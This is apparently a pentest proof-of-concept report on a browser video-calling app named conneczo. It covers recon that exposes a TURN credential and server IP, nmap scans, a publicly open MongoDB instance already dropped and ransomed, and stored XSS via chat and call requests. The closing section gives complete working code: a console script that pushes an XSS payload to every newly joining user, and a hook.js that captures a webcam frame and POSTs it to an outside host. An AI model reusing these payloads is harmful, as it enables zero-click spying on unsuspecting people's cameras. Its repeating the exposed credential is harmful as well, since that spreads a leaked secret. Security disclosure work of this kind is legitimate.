Conneczo: Looking Through Your Eyes!
Conneczo is a web-based video calling and instant messaging application. It allows users to connect to other people without requiring to register on the site. After starting the app by visiting conneczo, the user is assigned a number which he could share with his friends via email or Facebook. His friends now will be able to call him using this number. You can start using conneczo right from your browser as no additional downloads of apps or plugins are necessary.
Scope of PoC
The client wanted to go through a PoC before starting a formal pentest. The client has multiple web-RTC solutions, but among them, conneczo was in the scope of this pentest.
Reconnaissance of the scope
conneczo were found to be using the following technologies:
- Socket.io
- ExpressJS
- NodeJS
- CloudFlare
- jQuery 1.11.3
As because the client uses CloufFlare to manage DNS records, it was not possible to identify actual open ports/services by using port discovery tools on conneczo.com.
Extended Recon
We identified an instance of a javascript file, main.js, located at /js folder of the application. That file revealed an IP address, 128.199.74.227
.
var TURN = {
"url": "turn:tashfin@128.199.74.227",
"credential": "turn2s3rv3r"
};
An HTTP GET request to that IP address returned the following response:
HTTP/1.1 301 Moved Permanently
Server: nginx/1.10.0 (Ubuntu)
Date: Wed, 22 Feb 2017 13:43:59 GMT
Content-Type: text/html
Content-Length: 194
Connection: close
Location: https://conneczo.com/
So it was pretty obvious that the conneczo app was running on 128.199.74.227
. So, now we have a real IP which can be tested for open port discovery.
We used nmap
for this and the result was:
beetles@beetles-mac:~$ nmap 128.199.74.227
Starting Nmap 7.12 ( https://nmap.org ) at 2017-02-22 19:48 BDT
Nmap scan report for 128.199.74.227
Host is up (0.12s latency).
Not shown: 983 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
3000/tcp open ppp
3001/tcp open nessus
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 10.72 seconds
We found some open ports on the server, but nothing we could exploit. Hacking insecure MongoDB is still a buzz in the security industry and we checked any presence of MongoDB just out of curiosity. The result was unexpected:
beetles@beetles-mac:~$ nmap 128.199.74.227 -p 27017
Starting Nmap 7.12 ( https://nmap.org ) at 2017-02-22 19:55 BDT
Nmap scan report for 128.199.74.227
Host is up (0.11s latency).
PORT STATE SERVICE
27017/tcp open mongod
Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds
MongoDB Ransomware History
Groups of attackers have adopted a new tactic that involves deleting publicly exposed MongoDB databases and asking for money to restore them. In a matter of days, the number of affected databases has risen from hundreds to more than 10,000. The issue of misconfigured MongoDB installations, allowing anyone on the internet to access sensitive data, is not new. Researchers have been finding such open databases for years, and the latest estimate puts their number at more than 99,000.
#Reference
Vulnerable MongoDB instance on conneczo
We identified that the MongoDB instance of conneczo was vulnerable as because the database service was publicly exposed without any kind of authentication.
We got 3 (three) database on that mongo:
- PLEASE_READ_ME
- kotha_db
- test
beetles@beetles-mac:~$ mongo --host 128.199.74.227
MongoDB shell version v3.4.2
connecting to: mongodb://128.199.74.227:27017/
MongoDB server version: 3.2.9
WARNING: shell and server versions do not match
Server has startup warnings:
2017-01-22T12:30:43.242+0600 I CONTROL [initandlisten] ** WARNING: You are running this process as the root user, which is not recommended.
2017-01-22T12:30:43.243+0600 I CONTROL [initandlisten]
2017-01-22T12:30:43.244+0600 I CONTROL [initandlisten]
2017-01-22T12:30:43.244+0600 I CONTROL [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/enabled is 'always'.
2017-01-22T12:30:43.244+0600 I CONTROL [initandlisten] ** We suggest setting it to 'never'
2017-01-22T12:30:43.244+0600 I CONTROL [initandlisten]
2017-01-22T12:30:43.244+0600 I CONTROL [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/defrag is 'always'.
2017-01-22T12:30:43.244+0600 I CONTROL [initandlisten] ** We suggest setting it to 'never'
2017-01-22T12:30:43.244+0600 I CONTROL [initandlisten]
> show dbs
PLEASE_READ_ME 0.000GB
kotha_db 0.000GB
test 0.000GB
>
MongoDB is already HACKED!
The database PLEASE_READ_ME
grabbed our attention. So, we tried to read the database. The result was:
{
"_id":ObjectId("589da1f36d3d6953d278d485"),
"info":"Don't panic. Your DB is in safety and backed up (check logs). To restore send 0.05 BTC and email with your server ip or domain name. Each 48 hours we erase all data.",
"amount":"0.2 BTC",
"data_we_have":{
"kotha_db":[
"users",
"sessions"
],
"PLEASE_READ_ME":[
"PLEASE_READ_ME"
],
"local":[
"startup_log"
]
},
"Bitcoin Address":"1PemEbnMSoiaXsEW5nRUpSMRB6RZw9MG8D",
"email":"kraken8888@sigaint.org"
}
It was discovered that a hacker (kraken8888@sigaint.org) has already hacked this Mongo database and asked 0.2 BTC/0.5 BTC as ransom.
We checked the mongo log and found this:
2017-02-07T04:43:23.567+0600 I NETWORK [initandlisten] connection accepted from 51.15.50.127:54716 #184 (12 connections now open)
2017-02-07T04:43:24.341+0600 I COMMAND [conn184] dropDatabase PLEASE_READ starting
2017-02-07T04:43:24.348+0600 I COMMAND [conn184] dropDatabase PLEASE_READ finished
2017-02-07T04:43:24.690+0600 I COMMAND [conn184] dropDatabase kotha_db starting
2017-02-07T04:43:24.719+0600 I COMMAND [conn184] dropDatabase kotha_db finished
2017-02-07T04:43:25.058+0600 I COMMAND [conn184] dropDatabase nuvedb starting
2017-02-07T04:43:25.065+0600 I COMMAND [conn184] dropDatabase nuvedb finished
2017-02-10T17:20:16.527+0600 I NETWORK [initandlisten] connection accepted from 51.15.63.113:58684 #199 (12 connections now open)
2017-02-10T17:20:17.627+0600 I COMMAND [conn199] dropDatabase PLEASE_READ_ME starting
2017-02-10T17:20:17.651+0600 I COMMAND [conn199] dropDatabase PLEASE_READ_ME finished
2017-02-10T17:20:18.406+0600 I COMMAND [conn199] dropDatabase kotha_db starting
2017-02-10T17:20:18.410+0600 I COMMAND [conn199] dropDatabase kotha_db finished
2017-02-10T17:20:19.106+0600 I COMMAND [conn199] dropDatabase local starting
2017-02-10T17:20:19.108+0600 I COMMAND [conn199] dropDatabase local finished
The MongoDB was hacked twice and the databases were dropped and ransomed.
We found that the hacker (kraken8888@sigaint.org) was involved in many other such MongoDB hacking incidence.
Application layer vulnerability
The conneczo application was found to be vulnerable against multiple XSS and IDOR's.
- XSS via in-call instant messaging.
- XSS via calling other user.
- IDOR on in-call messaging (Not described in this PoC).
XSS via in-call instant messaging
The following function was executing on receiving new messages via socket.on('new message', function (data) {})
:
function addChatMessage(data, direction) {
var dirC = "";
if (direction == "out") {
dirC = "chatUI-alt white";
}
var templeate = '<div class="chatUI ' + dirC + '">' +
'<p>' + data.message + '</p>' +
'</div>';
var messagetpl = $(templeate).appendTo($('.chatBox'));
$(messagetpl).data('sender', data.sender)
if (data.typing) {
$(messagetpl).addClass('typing');
}
$(".chatBox")[0].scrollTop = $(".chatBox")[0].scrollHeight
}
It was observed that users message (data.message
) was being rendered to the DOM without any kind of sanitization. Hence, it was possible to execute arbitrary javascript on the receivers end by using xss payload as the message.
payload: <script>alert(1)</script>
XSS via calling other user
When a user receives a call from another user, a socket event handler, newVideoCallRequest
triggers. The following snippet was extracted from that event:
remoteUser = data.from;
$('.notificationBox').hide();
var notificationTpl = '<div><h2>Incoming Call From ' + remoteUser + ' ...</h2><button type="button" class="btn btn-success acceptCall">Accept</button> <button type="button" class="btn btn-danger reject">Reject</button></div>';
When a user calls some other user via conneczo, the following socket request emits:
42["newVideoChatRequest",{"sender":XXXX,"receiver":YYYY}]
There is no check on the application end to verify the value of sender
on the socket message. So, as a result it was possible to intercept outgoing websocket message and alter the actual value of sender
with xss payload. The payload was executed on the receiver
's browser.
payload: <script>alert(1)</script>
WebSocket Request:
JavaScript Execution on Receivers End:
XSS! Remove all the dependency.
We use Burp Suite to intercept WebSocket and HTTP requests. But there is some limitation of Burp Suite as it can't use WebSocket request in Burp Intruder and Burp Repeater. So far, we were able to execute javascript on receivers browser, but we needed the receiver's caller ID. So, there was a dependency on the attacker end, which was lowering the CVSS of the XSS vulnerability. But, what if we can leverage the conneczo application to fetch other users caller ID?
There was multiple event handler defined solely for the socket. An interesting event handler was:
socket.on('client joined', function(data) {
console.log(data);
});
This event handler was logging the data of all new users on the console.log.
So, we customized the payload and prepared a new payload:
var socket = io();
socket.on('client joined', function (data) {
clientid=data.clientId;
socket.emit('newVideoChatRequest',{sender:"\"/><img src=x onerror=document.write('hacked')>",receiver:clientid});
});
We did paste this payload on our console and it emitted the payload as soon any other user joins conneczo. So, we were able to execute javascript on conneczo without any user interaction.
WE SEE YOU, Through Your Eyes!
Normally an attacker would use the XSS to steal user cookies. But, conneczo is a unique app, where a user can use the application without any registration. That means all the user of conneczo is unauthenticated. So, stealing their cookie is a pointless idea. But, conneczo requires webcam permission and that's indeed a juicy thing for an attacker!
XSS can be used to sniff into victims webcam/microphone. But normally an attacker has to convince the victim to allow webcam permission. But, in the case of conneczo, the permissions are already granted and the attacker can execute javascript on that permitted ground. So, an attacker can sniff into victims webcam/microphone by exploiting the mentioned XSS. As no user interaction is needed, so anyone, who visits conneczo, can be hacked!
Reproduce:
(function() {
e = document.createElement('canvas');
e.setAttribute("id", "canvas");
document.body.appendChild(e);
e = document.createElement('img');
e.setAttribute("id", "photo");
document.body.appendChild(e);
var video = document.querySelector('.selfvideo'),
canvas = document.querySelector('#canvas'),
notif = document.querySelector('.notificationMessageBox'),
photo = document.querySelector('#photo');
canvas.width = 320;
canvas.height = 320;
canvas.getContext('2d').drawImage(video, 0, 0, 320, 320);
var data = canvas.toDataURL('image/png');
photo.setAttribute('src', data);
photo.style.visibility = "hidden";
canvas.style.visibility = "hidden";
notif.style.visibility = "hidden";
var imgSource = document.getElementById('photo').src;
var xhr = new XMLHttpRequest();
xhr.open("POST", 'https://conneczopoc.beetles.io', true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("image=" + imgSource);
})();
We have saved the above file on https://conneczopoc.beetles.io/hook.js
Paste the following code on your browsers console:
var socket = io();
socket.on('client joined', function (data) {
clientid=data.clientId;
socket.emit('newVideoChatRequest',{sender:'1234<script>document.querySelector(".notificationMessageBox").style.visibility = "hidden";</script><script src="https://conneczopoc.beetles.io/hook.js"/>',receiver:clientid});
});
and wait till some one else visits conneczo. His webcam's screenshot will be captured and will be posted on https://conneczopoc.beetles.io/